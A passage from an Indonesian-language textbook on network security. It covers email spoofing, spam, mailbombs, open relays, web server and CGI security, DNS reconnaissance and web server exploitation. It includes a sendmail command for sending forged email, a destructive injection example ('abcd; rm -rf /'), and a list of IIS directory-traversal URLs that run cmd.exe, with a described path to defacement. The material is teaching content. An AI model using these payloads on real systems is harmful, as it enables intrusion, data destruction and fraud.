Setelah berkas ini kita tuliskan, maka bisa kita panggil MTA (dalam
contoh di bawah ini kita memakai sendmail sebagai MTA-nya) dan
kita katakan MTA untuk mengantarkan email ke alamat “user01@training”.
Email akan dikirimkan ke “user01@training”, tanpa me perdulikan isi
field “To:” yang ada dalam berkas ini .
/usr/sbin/sendmail user01@training < email-palsu.txt
Hal yang sama bisa kita lakukan dengan langsung berbicara ke MTA yang
dituju dengan memakai protokol SMTP.
Bagaimana upaya kita untuk melindungi dari email pasu? Sebagai
penerima email, kita bisa melihat header dari email. Kita lihat tempat-
tempat yang dilalui oleh email ini . Sayangnya jar ng sekali pengguna
email melihat isi dari header email sehingga mereka mudah tertipu dengan
email palsu.
Cara lain untuk memastikan bahwa email berasal dari orang yang
bersangkutan yaitu dengan memakai digital signature. Sayangnya
mekanisme ini jarang dilakukan karena tidak banyak orang yang
memakai digital signature.
Sebagai administrator, kita harus rajin membaca log untuk melihat
keanehan atau anomali dengan pemakaian email. Misalnya kita dapat lihat
apakah ada orang mengirimkan email dengan identitas (From:) yang tidak
sama dengan domain dari organisasi kita. Demikian pula server mail kita
Keamanan Email
98
harus dibatasi agar tidak ditumpangi oleh orang yang tidak berhak. Untuk
yang ini akan kita bahas pada bagian “mail relay”.
Penyusupan Virus
Email sering dijadikan medium yang paling efektif untuk menyebarkan
virus. Hal ini disebabkan email langsung menuju pengguna yang umumnya
merupakan titik terlemah (weakest link) dalam pertahan n sebuah
perusahaan atau institusi. Orang seringkali dengan mudah membuka atau
menjalankan program yang terkait dengan attachment ya g dia terima
melalui email. Ada sebuah gosip yang mengatakan bahwa 70% orang akan
menjalankan (meng-klik) email yang memiliki attachment dengan judul
“BIRAHI.EXE”.
Untuk membuat pengguna email nyaman dalam memakai email,
program mail (MUA) dahulu sering dikonfigurasi untuk secara otomatis
menjalankan program aplikasi yang sesuai dengan attachment yang
diterima. Misalnya attachment yang diterima berupa berkas Microsoft
Word, maka program mail ini langsung menjalankn Microsoft Word.
Akibatnya berkas yang memiliki virus dapat langsung dijalankan. Untuk itu
seharusnya program mail tidak menjalankan program secara otomatis.
Pengguna harus mengambil inisiatif sendiri.
Pengamanan sistem biasanya memakai firewall. Namun firewall
biasanya bergerak di layer yang lebih rendah, bukan layer aplikasi, sehingga
tidak dapat melihat isi atau data dari email. Firewall yang baru sudah dapat
menguji isi email terhadap tanda-tanda virus.
Solusi untuk mengurangi impak terhadap penyusupan virus yaitu dengan
memakai anti-virus dengan data (signature) yang terbaru. Program
anti-virus ini harus diperbaharui secara berkala. Disarankan untuk
melakukannya sekali dalam seminggu.
Pengamanan lain yaitu dengan melakukan pemeriksaan terhadap virus
pada level mail server. Namun hal ini sering membuat suasana tidak
nyaman karena pengguna sering mengeluh tidak mendapat email dari
99
Spam
kawan korespondensinya. Seolah-olah mail hilang. Padah l bisa jadi email
dari kawannya ini mengandung virus dan sudah difilter di server mail.
Spam
Spam1 yaitu didefinisikan sebagai “unsolicited email”, yaitu email yang
tidak kita harapkan. Spam ini berupa email yang dikirimkan ke banyak
orang. Biasanya isi dari email ini yaitu promosi.
Masalah spam ini berdasarkan pada kenyataan bahwa biay (cost) untuk
mengirimkan email ke satu orang dan 1000 orang tidak jauh berbeda.
Barrier untuk melakukan mass mailing sangat rendah. Hal ini berbeda
dengan melakukan pemasaran konvensional dimana untuk mengirimkan
sebuah kartu pos atau surat akan jauh berbeda untuk sat orang dan 1000
orang.
Spam ini tidak terfilter oleh anti-virus karena memang dia bukan virus.
Filter terhadap spam harus dilakukan secara khusus. Namun mekanisme
untuk melakukan filtering spam ini masih sukar karen kesulitan kita dalam
membedakan antara email biasa dan email yang spam.
Pada mulanya proses filter spam dilakukan dengan mecari kata-kata
tertentu di email yang diterima. Kata-kata yang populer digunaka sebagai
subyek dari email antara lain “Make money fast”, “viagra”, dan seterusnya.
Namun ternyata hal ini tidak efektif karena para spmmer mengubah kata-
kata ini menjadi kata-kata plesetan. Misalnya huruf “i” dari kata
“viagra” diganti dengan angka “1” menjadi “v1agra”. Hebatnya manusia
yaitu kita masih dapat mengerti bahwa yang dimaksudkan yaitu viagra.
Namun program komputer masih kesulitan dalam membedakan
(menyamakan) kedua hal ini . Akibatnya jika kit memasukkan kata
“viagra” ke dalam filter, maka kata “v1gra” akan lolos dari filter kita dan
email spam ini masih tetap masuk ke mailbox kita.
1. Kata “spam” berasal dari daging campur kalengan. Seperti Corned Beef, akan tetapi dag-
ingnya “tidak jelas”. pemakaian kata spam ini berasal dari lawakan (skit) dari Monty
Python, sebuah acara komedi di Inggris.
Keamanan Email
100
Pendekatan berikutnya dalam melawan spam yaitu dengan memakai
statistik (Bayesian) yang menghitung kata-kata di dalam email. Jika ada
banyak kata yang merupakan kata kunci dari spammer, aka statistik akan
menunjukan probabilitas bahwa email ini merupakan spam. Namun
lagi-lagi spammer lebih pintar, yaitu dengan menambhkan kata-kata yang
tidak bermakna di dalam email yang dikirimkan sehingga mengacaukan
hasil statistik. (Semakin banyak kata-kata yang tidak beraturan semakin
tinggi nilai entropi dari signal, semakin jauh dari l bel spam.)
Jumlah email spam ini sudah sangat banyak sehingga dap t melumpuhkan
server email. Banyak tempat yang tidak menjalankan filtering terhadap
spam karena tidak mampu.
Masalah spam masih menjadi masalah utama dalam sistem email saat ini.
Ada organisasi yang bernama CAUCE (Coalition Against Unsolicited
Commercial Email) yang menggalang upaya-upaya untuk membendung
spam.
Mailbomb
Mailbomb yaitu mengirim email bertubi-tubi ke satu tuj an. Dampaknya
mailbox yang dituju akan menjadi penuh. Dampak kepada sistem juga
hampir sama, yaitu direktori yang digunakan untuk menampung email (mail
spool) menjadi penuh sehingga pengguna lain tidak dapat menerima email
juga.
Pembuatan mailbomb dapat dilakukan dengan mudah, misalnya dengan
memakai shell script di sistem UNIX. Skrip yang mungkin hanya 3
baris ini melakukan loop, dimana pada setiap loopnya dia memanggil MTA
dan memberinya email yang harus dikirimkan ke target. S perti pada spam,
cost untuk mengirimkan email sangat rendah sehingga untuk melakukan
mailbomb juga sangat mudah. Untungnya kegiatan ini tercatat dalam logfile
sehingga memudahkan untuk melakukan pelacakan.
Proteksi terhadap mailbomb yaitu dengan membatasi quota email dari
pengguna, misalnya dibatasi 20 MBytes, sehingga jik dia kena mailbomb
101
Mail Relay
tidak mengganggu pengguna lainnya. Cara lain yang dapat dilakukan
yaitu menjalankan program yang mendeteksi mailbomb. Program ini
menganalisa isi email (dengan memakai checksum) dan
membandingkan dengan email-email sebelumnya. Jika em il sama persis
dengan email sebelumnya maka email ini dapat dihilangk n. Namun kinerja
program khusus ini masih dipertanyakan, khususnya utuk server mail yang
banyak menerima email.
Mail Relay
Mail relaying yaitu mengirimkan email dengan memakai server mail
milik orang lain. Aktivitas ini biasanya dilakukan oleh para pengirim spam.
Mereka mendompleng server mail milik orang lain yang konfigurasi kurang
baik dan memperkenankan orang lain untuk memakai server itu untuk
mengirim email. Akibatnya bandwidth dari server itu bisa habis digunakan
untuk mengirim email spam, bukan email dari pengguna yang sah.
Abuse terhadap server mail yang terbuka ini biasanya dilakukan oleh
pengirim spam. Banyak tempat yang melakukan filtering terhadap server
mail yang digunakan oleh pengirim spam. Jika server mail anda termasuk
yang memperkankan mail relay, maka server anda dapat masuk ke dalam
daftar tercela (blacklist) dan kena filter juga. Oleh sebab itu harus
dipastikan bahwa server mail kita tidak memperkenankan mail relay.
Pada awal perkembangan Internet, masalah kepercayaan s ngat tinggi
sehingga kebanyakan orang tidak memperhatikan masalah keamanan ini.
Server email disetup tanpa adanya pembatasan siapa s ja yang boleh
memakai nya. Namun saat ini hal ini sudah ti k bisa dilakukan
lagi. Pengguna server email - siapa-siapa yang dapat memakai nya
untuk mengirim email - harus dibatasi. Misalnya, server email hanya dapat
mengirimkan email jika nomor IP dari pengguna ada dalam rentang nomor
IP internal.
Kita juga dapat melakukan proteksi terhadap spam dengan melakukan
filtering terhadap server mail yang terbuka. MTA kita dapat kita konfigurasi
Keamanan Email
102
untuk menolak email yang berasal dari server mail yng memperkenankan
mail relay (karena kemungkinan email yang dikirim yaitu spam).
TABLE 8. Daftar Database Mail Relay
Tempat-tempat database server yang memperkenankan mail relay
Mail Abuse Prevention System: http://mail-abuse.org
ORBZ – Open Relay Blackhole Zone: http://www.orbz.org/
ORDB – Open Relay Database: http://www.ordb.org/
RBL-type services: http://www.ling.helsinki.fi/users/
reriksso/rbl/rbl.html
103
BAB 6 Keamanan Sistem World
Wide Web
World Wide Web (WWW atau Web1) merupakan salah satu “killer
applications” yang menyebabkan populernya Internet. WWW
dikembangkan oleh Tim Berners-Lee ketika bekerja di CERN (Swiss).
Sejarah dari penemuan ini dapat dibaca pada buku karangan Tim Berners-
Lee ini [3]. Kehebatan Web yaitu kemudahannya untuk mengakses
informasi, yang dihubungkan satu dengan lainnya melalui konsep hypertext.
Informasi dapat tersebar di mana-mana di dunia dan terhubung melalui
hyperlink. Informasi lebih lengkap tentang WWW dapat diperolh di web
W3C <http://www.w3.org>.
Pembaca atau peraga sistem WWW yang lebih dikenal dengan istilah
browser dapat diperoleh dengan mudah, murah atau gratis. Contoh browser
yaitu Netscape, Internet Explorer, Opera, kfm (KDE file manager di
sistem Linux), dan masih banyak lainnya. Kemudahan pe ggunaan program
browser inilah yang memicu populernya WWW. Sejarah dari browser ini
dimulai dari browser di sistem komputer NeXT yang kebetulan digunakan
oleh Berners-Lee. Selain browser NeXT itu, pada saat itu baru ada browser
yang berbentuk text (text-oriented) seperti “line mode” browser. lalu
1. Untuk selanjutnya pemakaian kata WWW atau Web akan dianggap sama.
Keamanan Sistem World Wide Web
104
ada lynx dan akhirnya muncul Mosaic yang dikembangk oleh Marc
Andreesen beserta kawan-kawannya ketika sedang magang di NCSA.
Mosaic yang multi-platform (Unix/Xwindow, Mac, Windows) inilah yang
memicu popularitas WWW.
Berkembangnya WWW dan Internet menyebabkan pergerakan sistem
informasi untuk memakai nya sebagai basis. Banyak sistem yang tidak
terhubung ke Internet tetapi tetap memakai basis Web sebagai basis
untuk sistem informasinya yang dipasang di jaringan Intranet. Untuk itu,
keamanan sistem informasi yang berbasis Web dan tekologi Internet
bergantung kepada keamanan sistem Web ini .
Arsitektur sistem Web terdiri dari dua sisi: server dan client. Keduanya
dihubungkan dengan jaringan komputer (computer network). Selain
menyajikan data-data dalam bentuk statis, sistem Web dapat menyajikan
data dalam bentuk dinamis dengan menjalankan program. Program ini
dapat dijalankan di server (misal dengan CGI, servlt) dan di client (applet,
Javascript). Sistem server dan client memiliki permasalahan yang berbeda.
Keduanya akan dibahas secara terpisah.
Ada asumsi dari sistem Web ini. Dilihat dari sisi pengguna:
• Server dimiliki dan dikendalikan oleh organisasi yang mengaku
memiliki server ini . Maksudnya, jika sebuah server memiliki
domain www.bni.co.id dan tulisan di layar menunjukkan bahwa situs itu
merupakan milik Bank BNI maka kita percaya bahwa server ini
memang benar milik Bank BNI. Adanya domain yang dibajak
merupakan anomali terhadap asumsi ini.
• Dokumen yang ditampilkan bebas dari virus, trojan horse, atau itikad
jahat lainnya. Bisa saja seorang yang nakal memasang virus di web nya.
Akan tetapi ini merupakan anomali.
• Server tidak mendistribusikan informasi mengenai pengunjung (user
yang melakukan browsing) kepada pihak lain. Hal ini disebabkan ketika
kita mengunjungi sebuah web site, data-data tentang kita (nomor IP,
operating system, browser yang digunakan, dll.) dapat dicatat.
Pelanggaran terhadap asumsi ini sebetulnya melanggar priv cy. Jika hal
ini dilakukan maka pengunjung tidak akan kembali ke situs ini.
105
Keamanan Server WWW
Asumsi dari penyedia jasa (webmaster) antara lain:
• Pengguna tidak beritikad untuk merusak server atau mengubah isinya
(tanpa ijin).
• Pengguna hanya mengakses dokumen-dokumen atau informasi yang
diijinkan diakses. Seorang pengguna tidak mencoba-coba masuk ke
direktori yang tidak diperkenankan (istilah yang umum digunakan
yaitu “directory traversal”).
• Identitas pengguna benar. Banyak situs web yang membatasi akses
kepada user-user tertentu. Dalam hal ini, jika seorang pengguna “login”
ke web, maka dia yaitu pengguna yang benar.
Asumsi kedua belah pihak:
• Jaringan komputer (network) dan komputer bebas dari penyadapan
pihak ketiga.
• Informasi yang disampaikan dari server ke pengguna (dan sebaliknya)
terjamin keutuhannya dan tidak dimodifikasi oleh piak ketiga yang
tidak berhak.
Asumsi-asumsi di atas bisa dilanggar sehingga mengakibatkan adanya
masalah keamanan.
Keamanan Server WWW
Keamanan server WWW biasanya merupakan masalah dari seorang
administrator. Dengan memasang server WWW di sistem anda, maka anda
membuka akses (meskipun secara terbatas) kepada orang lu r. Apabila
server anda terhubung ke Internet dan memang server WWW anda
disiapkan untuk publik, maka anda harus lebih berhati- ti sebab anda
membuka pintu akses ke seluruh dunia!
Server WWW menyediakan fasilitas agar client dari tempat lain dapat
mengambil informasi dalam bentuk berkas (file), atau mengeksekusi
perintah (menjalankan program) di server. Fasilitas pengambilan berkas
dilakukan dengan perintah “GET”, sementara mekanisme untuk
Keamanan Sistem World Wide Web
106
mengeksekusi perintah di server dapat dilakukan dengan “CGI” (Common
Gateway Interface), Server Side Include (SSI), Active Server Page (ASP),
PHP, atau dengan memakai servlet (seperti pernggunaan Java Servlet).
Kedua jenis servis di atas (mengambil berkas biasa maupun menjalankan
program di server) memiliki potensi lubang keamanan yang berbeda.
Adanya lubang keamanan di sistem WWW dapat dieksploitasi dalam
bentuk yang beragam, antara lain:
• informasi yang ditampilkan di server diubah sehingga dapat
mempermalukan perusahaan atau organisasi anda (dikenal d ngan istilah
deface1);
• informasi yang semestinya dikonsumsi untuk kalangan terbatas
(misalnya laporan keuangan, strategi perusahaan anda, atau database
client anda) ternyata berhasil disadap oleh saingan anda (ini mungkin
disebabkan salah setup server, salah setup router / firewall, atau salah
setup authentication);
• informasi dapat disadap (seperti misalnya pengiriman nomor kartu kredit
untuk membeli melalui WWW, atau orang yang memonitor kemana saja
anda melakukan web surfing);
• server anda diserang (misalnya dengan memberikan request secara
bertubi-tubi) sehingga tidak bisa memberikan layanan ketika dibutuhkan
(denial of service attack);
• untuk server web yang berada di belakang firewall, lubang keamanan di
server web yang dieksploitasi dapat melemahkan atau b hkan
menghilangkan fungsi dari firewall (dengan mekanisme tunneling).
Sebagai contoh serangan dengan mengubah isi halaman web, beberapa
server Web milik pemerintah Indonesia sempat menjadi target serangan dari
beberapa pengacau (dari Portugal) yang tidak suka dengan kebijaksanaan
pemerintah Indonesia dalam masalah Timor Timur. Mereka mengganti
halaman muka dari beberapa server Web milik pemerintah Indonesia
dengan tulisan-tulisan anti pemerintah Indonesia. Selain itu, beberapa
server yang dapat mereka serang diporakporandakan dan dihapus isi
1. Informasi tentang web-web yang pernah di-deface dikumpulkan di berbagai tempat
(web), seperti misalnya di http://www.aldas.org
107
Keamanan Server WWW
disknya. Beberapa server yang sempat dijebol antara lain: server
Departemen Luar Negeri, Hankam, Ipteknet, dan BPPT. enjebolan ini
masih berlangsung terus oleh crackers yang berbeda-.
Membatasi akses melalui Kontrol Akses
Sebagai penyedia informasi (dalam bentuk berkas-berkas), sering
diinginkan pembatasan akses. Misalnya, diinginkan agar hanya orang-orang
tertentu yang dapat mengakses berkas (informasi) terten u. Pada prinsipnya
ini yaitu masalah kontrol akses. Pembatasan akses dapat dilakukan
dengan:
• membatasi domain atau nomor IP yang dapat mengakses;
• memakai pasangan userid & password;
• mengenkripsi data sehingga hanya dapat dibuka (dekripsi) oleh orang
yang memiliki kunci pembuka.
Mekanisme untuk kontrol akses ini bergantung kepada program yang
digunakan sebagai server. Salah satu caranya akan diuraikan pada bagian
berikut.
Proteksi halaman dengan memakai password
Salah satu mekanisme mengatur akses yaitu dengan memakai
pasangan userid (user identification) dan password. Untuk server Web yang
berbasis Apache1, akses ke sebuah halaman (atau sekumpulan berkas yang
terletak di sebuah directory di sistem Unix) dapat diatur dengan
memakai berkas “.htaccess”. Sebagai contoh, isi dari berkas
ini dapat berupa:
AuthUserFile /home/budi/.passme
AuthGroupFile /dev/null
AuthName “Khusus untuk Tamu Budi”
AuthType Basic
<Limit GET>
require user tamu
1. Mekanisme ini juga berlaku di server yang memakai program NCSA httpd dan
CERN httpd.
Keamanan Sistem World Wide Web
108
</Limit>
Dalam contoh di atas, untuk mengakses direktori ini dibutuhkan userid
“tamu” dan password yang sama dengan entry userid budi di berkas “/
home/budi/.passme”. Ketika direktori ini diakses, akan muncul
sebuah pop-up window yang menanyakan userid dan password.
Password di dalam berkas “/home/budi/.passme” dapat dibuat dengan
memakai program “htpasswd”.
unix% htpasswd -c /home/budi/.passme budi
New password: *****
Secure Socket Layer
Salah satu cara untuk meningkatkan keamanan server WWW yaitu dengan
memakai enkripsi pada komunikasi pada tingkat socket. Dengan
memakai enkripsi, orang tidak bisa menyadap data- a (transaksi)
yang dikirimkan dari/ke server WWW. Salah satu mekanisme yang cukup
populer yaitu dengan memakai Secure Socket Layer (SSL) yang
mulanya dikembangkan oleh Netscape.
Selain server WWW dari Netscape, beberapa server lain juga memiliki
fasilitas SSL juga. Server WWW Apache (yang tersedia secara gratis) dapat
dikonfigurasi agar memiliki fasilitas SSL dengan menambahkan software
tambahan (SSLeay - yaitu implementasi SSL dari Eric Young - atau
OpenSSL1 - yaitu implementasi Open Source dari SSL). Bahkan ada sebuah
perusahaan (Stronghold) yang menjual Apache dengan SSL.
pemakaian SSL memiliki permasalahan yang bergantung kepada lokasi
dan hukum yang berlaku. Hal ini disebabkan:
• Pemerintah melarang ekspor teknologi enkripsi (kriptografi).
• Paten Public Key Partners atas Rivest-Shamir-Adleman (RSA) public-
key cryptography yang digunakan pada SSL.
1. OpenSSL dapat diperoleh dari http://www.openssl.org
109
Keamanan Server WWW
Oleh karena hal di atas, implementasi SSLeay Eric Young tidak dapat
digunakan di Amerika Utara (Amerika dan Kanada) karena “melanggar”
paten RSA dan RC4 yang digunakan dalam implementasiya. SSLeay
dapat diperoleh dari:
• http://www.psy.uq.oz.au/~ftp/Crypto
Informasi lebih lanjut tentang SSL dapat diperoleh dari:
• http://home.netscape.com/newsref/std
• http://www.openssl.org
Mengetahui Jenis Server
Informasi tentang web server yang digunakan dapat dimanfaatkan oleh
perusak untuk melancarkan serangan sesuai dengan tipe server dan
operating system yang digunakan. Seorang penyerang akan mencari tahu
software dan versinya yang digunakan sebagai web server, lalu
mencari informasi di Internet tentang kelemahan web server ini .
Informasi tentang program server yang digunakan sangat mudah diperoleh.
Cara yang paling mudah yaitu dengan memakai program “telnet”
dengan melakukan telnet ke port 80 dari server web ini , lalu
menekan tombol return dua kali. Web server akan mengirimkan respon
dengan didahuli oleh informasi tentang server yang digunakan. Program
Ogre (yang berjalan di sistem Windows) dapat mengetahui program server
web yang digunakan. Sementara itu, untuk sistem UNIX, program lynx
dapat digunakan untuk melihat jenis server dengan me ekan kunci “sama
dengan” (=).
Keamanan Program CGI
Common Gateway Interface (CGI) digunakan untuk menghubungkan
sistem WWW dengan software lain di server web. Adanya CGI
memungkinkan hubungan interaktif antara user dan server web. CGI
seringkali digunakan sebagai mekanisme untuk mendapatk n informasi dari
user melalui “fill out form”, mengakses database, atau menghasilkan
halaman yang dinamis.
Keamanan Sistem World Wide Web
110
Meskipun secara prinsip mekanisme CGI tidak memiliki lubang keamanan,
program atau skrip yang dibuat sebagai CGI dapat memiliki lubang
keamanan (baik secara sengaja dibuat lubang keamanannya ataupun tidak
sengaja). Pasalnya, program CGI ini dijalankan di server web sehingga
memakai resources web server ini . Potensi lubang keamanan
yang dapat terjadi dengan CGI antara lain:
• Seorang pemakai yang nakal dapat memasang skrip CGI sehingga dapat
mengirimkan berkas password kepada pengunjung yang mengeksekusi
CGI ini .
• Program CGI dipanggil berkali-kali sehingga server menjadi terbebani
karena harus menjalankan beberapa program CGI yang menghabiskan
memori dan CPU cycle dari web server.
• Program CGI yang salah konfigurasi sehingga memiliki otoritas seperti
sistem administrator sehingga ketika dijalankan dapat melakukan
perintah apa saja. Untuk sistem UNIX, ada saja administrator yang salah
seting sehingga server web (httpd) dijalankan oleh root.
• CGI guestbook yang secara otomatis menambahkan informasi ke dalam
halaman web seringkali disalahgunakan oleh orang yang nakal dengan
mengisikan link ke halaman pornografi atau diisi dengan sampah (junk
text) sehingga memenuhi disk pemilik web.
• Teks (informasi) yang dikirimkan ke CGI diisi dengan karakter tertentu
dengan tujuan untuk merusak sistem. Sebagai contoh, banyak search
engine yang tidak melakukan proses “sanitasi” terhadap karakter yang
dituliskan oleh user. Bagaimana jika user memasukkan “abcd; rm -rf /”
atau “%; drop table” dan sejenisnya. (Tujuan utama yaitu melakukan
attack terhadap SQL server di server.)
Keamanan client WWW
Dalam bagian terdahulu dibahas masalah yang berhubungan dengan server
WWW. Dalam bagian ini akan dibahas masalah-masalah yang berhubungan
dengan keamanan client WWW, yaitu pemakai (pengunjung) biasa.
Keamanan di sisi client biasanya berhubungan dengan m salah privacy dan
penyisipan virus atau trojan horse.
111
Bahan Bacaan
Pelanggaran Privacy
Ketika kita mengunjungi sebuah situs web, browser kita dapat “dititipi”
sebuah “cookie” yang fungsinya yaitu untuk menandai kita. Ketika kita
berkunjung ke server itu kembali, maka server dapat mengetahui bahwa kita
kembali dan server dapat memberikan setup sesuai dengan keinginan
(preference) kita. Ini merupakan servis yang baik. Namun data-data yang
sama juga dapat digunakan untuk melakukan tr cking kemana saja kita
pergi.
Ada juga situs web yang mengirimkan script (misal Javascript) yang
melakukan interogasi terhadap server kita (melalui browser) dan
mengirimkan informasi ini ke server. Bayangkan jika di dalam komputer
kita terdapat data-data yang bersifat rahasia dan informasi ini dikirimkan ke
server milik orang lain.
Penyisipan Trojan Horse
Cara penyerangan terhadap client yang lain yaitu dengan menyisipkan
virus atau trojan horse. Bayangkan apabila yang anda download yaitu
virus atau trojan horse yang dapat menghapus isi harddisk anda. Salah satu
contoh yang sudah terjadi yaitu adanya web yang menyisipkan trojan
horse Back Orifice (BO) atau Netbus sehingga komputer anda dapat
dikendalikan dari jarak jauh. Orang dari jarak jauh dapat menyadap apa
yang anda ketikkan, melihat isi direktori, melakukan reboot, bahkan
memformat harddisk!
Bahan Bacaan
Informasi lebih lanjut mengenai keamanan sistem WWW dapat diperoleh
dari sumber on-line sebagai berikut.
• <http://www.w3.org/Security/Faq/>
• Nalneesh Gaur, “Assessing the Security of Your Web Applications,”
Linux Journal, April 2000, hal. 74-78.
• Netscape’s cookie Security FAQ
http://search.netscape.com/assist/security/faqs/cookies.html
Keamanan Sistem World Wide Web
112
113
BAB 7 Eksploitasi Keamananan
Dalam bab ini akan dibahas beberapa contoh eksploitasi lubang keamanan.
Contoh-contoh yang dibahas ada yan bersifat umum dan a yang bersifat
khusus untuk satu jenis operating system tertentu, atau untuk program
tertentu dengan versi tertentu. Biasanya lubang keamanan ini sudah ditutup
pada versi baru dari paket program ini sehingga mungkin tidak dapat
anda coba. Pembahasan dalam bab ini tentunya tidak komplit dikarenakan
batasan jumlah halaman. Jika diinginkan pembahasan yang lebih komplit
ada buku “Hacking Exposed” (lihat referensi [41]) yang dapat digunakan
untuk keperluan ini .
Menurut “Hacking Exposed”, metodologi dari penyusup biasanya
mengikuti langkah sebagai berikut:
• Target acquisition and information gaterhing
• Initial access
• Privilege escalation
• Covering tracks
Namun, bab ini belum disusun dengan urutan seperti di atas.
Eksploitasi Keamananan
114
Mencari informasi
Sebelum melakukan penyerangan, seorang cracker biasany mencari
informasi tentang targetnya. Banyak informasi tentang sebuah sistem yang
dapat diperoleh dari Internet. Sebagai contoh, informasi dari DNS (Domain
Name System) kadang-kadang terlalu berlebihan sehingga memberikan
terlalu banyak informasi kepada orang yang bermaksud jahat. DNS dapat
memberikan informasi tentang nama-nama server berserta nomor IP yang
dimiliki oleh sebuah perusahaan. Seseorang yang tidak tahu apa-apa,
dengan mengetahui domain dari sebuah perusahaan dapat mengetahui
informasi yang lebih banyak tentang server-server dari perusahaan ini .
Paling tidak, informasi tentang name server merupakan informasi awal
yang dapat berguna.
Informasi tentang DNS tersedia secara terbuka di Internet dan dapat dicari
dengan memakai berbagai tools seperti:
• whois, host, nslookup, dig (tools di sistem UNIX)
• Sam Spade (tools di sistem Windows)
• web dari Network Solutions inc. yang menyediakan informasi tentang
data-data gTLD (.com, .net, .org, dan seterusnya) melalui webnya di
http://www.networksolutions.com
Host, Whois, dig
Berikut ini yaitu contoh beberapa session untuk mencari informasi tentang
domain dan server-server yang digunakan oleh domain ini . Untuk
mencari name server, dapat digunakan program “host” dengan option “-t
ns”. Sementara itu untuk mencari nomor IP dari sebuah host, langsun
gunakan program host tanpa option.
unix$ host -t ns yahoo.com
yahoo.com NS NS3.EUROPE.yahoo.com
yahoo.com NS NS1.yahoo.com
yahoo.com NS NS5.DCX.yahoo.com
unix$ host ns1.yahoo.com
ns1.yahoo.com A 204.71.200.33
115
Mencari informasi
Cara yang sama dapat dilakukan dengan memakai program whois.
Contoh di bawah ini yaitu untuk mencari informasi tentang domain
yahoo.com dengan memakai server whois yang berada di Network
Solutions Inc.
unix$ whois -h whois.networksolutions.com yahoo.com
Registrant:
Yahoo (YAHOO-DOM)
3420 Central Expressway
Santa Clara, CA 95051
US
Domain Name: YAHOO.COM
Administrative Contact, Technical Contact:
Balling, Derek (DJB470) tech-contact@YAHOO-INC.COM
Yahoo!
701 First Ave
Sunnyvale, CA 94089
US
+1-408-349-5062
Billing Contact:
Billing, Domain (DB28833) domainbilling@YAHOO-INC.COM
Yahoo! Inc.
225 Broadway, 13th Floor
San Diego, CA 92101
1-408-731-3300
Record last updated on 28-Jun-2001.
Record expires on 20-Jan-2010.
Record created on 18-Jan-1995.
Database last updated on 20-Jul-2001 00:12:00 EDT.
Domain servers in listed order:
NS1.YAHOO.COM 204.71.200.33
NS5.DCX.YAHOO.COM 216.32.74.10
NS3.EUROPE.YAHOO.COM 217.12.4.71
Informasi yang diperoleh dari contoh di atas sekedar mencari informasi
mengenai server DNS. Kita juga dapat mencoba mencari informasi lebih
jauh dengan cara mengambil (dump) semua data-data DNS yang dikenal
Eksploitasi Keamananan
116
dengan istilah zone transfer. Program “dig” dapat kita gunakan untuk
keperluan ini .
unix$ dig yahoo.com. axfr @ns1.yahoo.com.
Contoh di atas yaitu perintah untuk melakukan zone transfer (axfr)
terhadap domain yahoo.com dari server ns1.yahoo.com. Perhatikan tanda
titik (.) di belakang nama domain. Perlu diingat bahw kegiatan zone
transfer di beberapa tempat dapat dikategorikan sebagai tidak ramah
(unfriendly) dan bahkan dianggak sebagai usaha untuk melakukan hacking
terhadap sistem ini .
Untuk sistem yang diamankan secara baik, perintah zone transfer di atas
akan gagal untuk dilakukan. Akan tetapi untuk sistem yang tidak baik,
perintah di atas akan memberikan informasi tentang nama server-server
yang berada dalam domain ini . Termasuk server di Intranet! (seperti
billing, terminal server, RAS, dan sebagainya). Informasi yang sensitif
seperti ini seharusnya tidak dapat di-query oleh orang atau server yang tidak
berhak. Query zone transfer ini juga dapat dijadikan DoS attack karena
dengan query yang sedikit (berdasarkan jumlah dan ukuran paket yang
dikirimkan) dia menghasilkan jawaban yang cukup panjang. Dengan kata
lain terjadi amplifikasi dari pemakaian bandwidth jaringan. Periksa sistem
anda apakah DNS anda sudah dikelola dengan baik atau m sih terbuka
untuk zone transfer.
Sam Spade, utility untuk MS Windows
Untuk anda yang memakai sistem yang berbasis Microsoft Windows,
anda dapat memakai program Sam Spade. Program ini dapat diperoleh
secara gratis dari web http://www.samspade.org. Gambar berikut
menunjukkan sebuah sesi Sam Spade untuk mencari informasi tentang
domain INDOCISC.com.
117
Mencari informasi
Latihan 12. Cari informasi tentang nama-nama dari name server(NS) domain anda atau domain perusahaan anda. Informasiapa saja yang dapat anda peroleh dari data-data DNSini ? Nomor IP apa saja yang dapat anda peroleh daridata-data DNS ini ?
Informasi DNS memang tersedia untuk umum. Akan tetapi seharusnya
informasi yang komplit hanya boleh dilihat oleh server tertentu. Istilahnya,
“zone transfer” hanya diperbolehkan untuk server tertentu saja.
Eksploitasi Keamananan
118
Eksploitasi Web Server
Web server menyediakan jasa untuk publik. Dengan demikian dia harus
berada di depan publik. Sayangnya banyak lubang keamanan dalam
implementasi beberapa web server. Di bagian ini akan dicontohkan
beberapa eksploitasi ini .
Defacing Microsoft IIS
Salah satu lubang keamanan dari web yang berbasis IIS yaitu adanya
program atau script yang kurang baik implementasiny. Sebagai contoh,
bugtraq id 1806 menujukkan cara untuk melihat isi drektori dari sebuah
web server yang berbasis IIS. (Informasi lengkapnya ada di http://
www.securityfocus.com/bid/1806).
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c0%9v../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c0%qf../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c1%8s../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c1%9c../winnt/system32/cmd.exe?/
c+dir
http://target/scripts/..%c1%pc../winnt/system32/cmd.exe?/
c+dir
Perintah di atas menjalankan perintah “dir” untuk melihat direktori di server
IIS ini . Selain melihat direktori dengan perintah “dir”, anda dapat juga
menjalankan perintah lain di server ini , seperti misalnya meng-copy
file. Salah satu exploit yaitu dengan mengambil file dari sebuah tempat
dengan “TFTP” ke server IIS ini . Prinsipnya yaitu memakai
perintah yang command line sebagai perintah “dir” te sebut, seperti dnegan
printah “tftp” dan menggantikan spasi dengan tanda tambah (+). Setelah itu,
file dapat ditempatkan dimana saja termasuk di direkto i yang digunakan
untuk memberikan layanan web. Atau dengan kata lain web ini dapat
diubah (deface).
119
Denial of Service Attack
Denial of Service Attack
“Denial of Service (DoS) attack” merupakan sebuah usaha (dalam bentuk
serangan) untuk melumpuhkan sistem yang dijadikan targe sehingga sistem
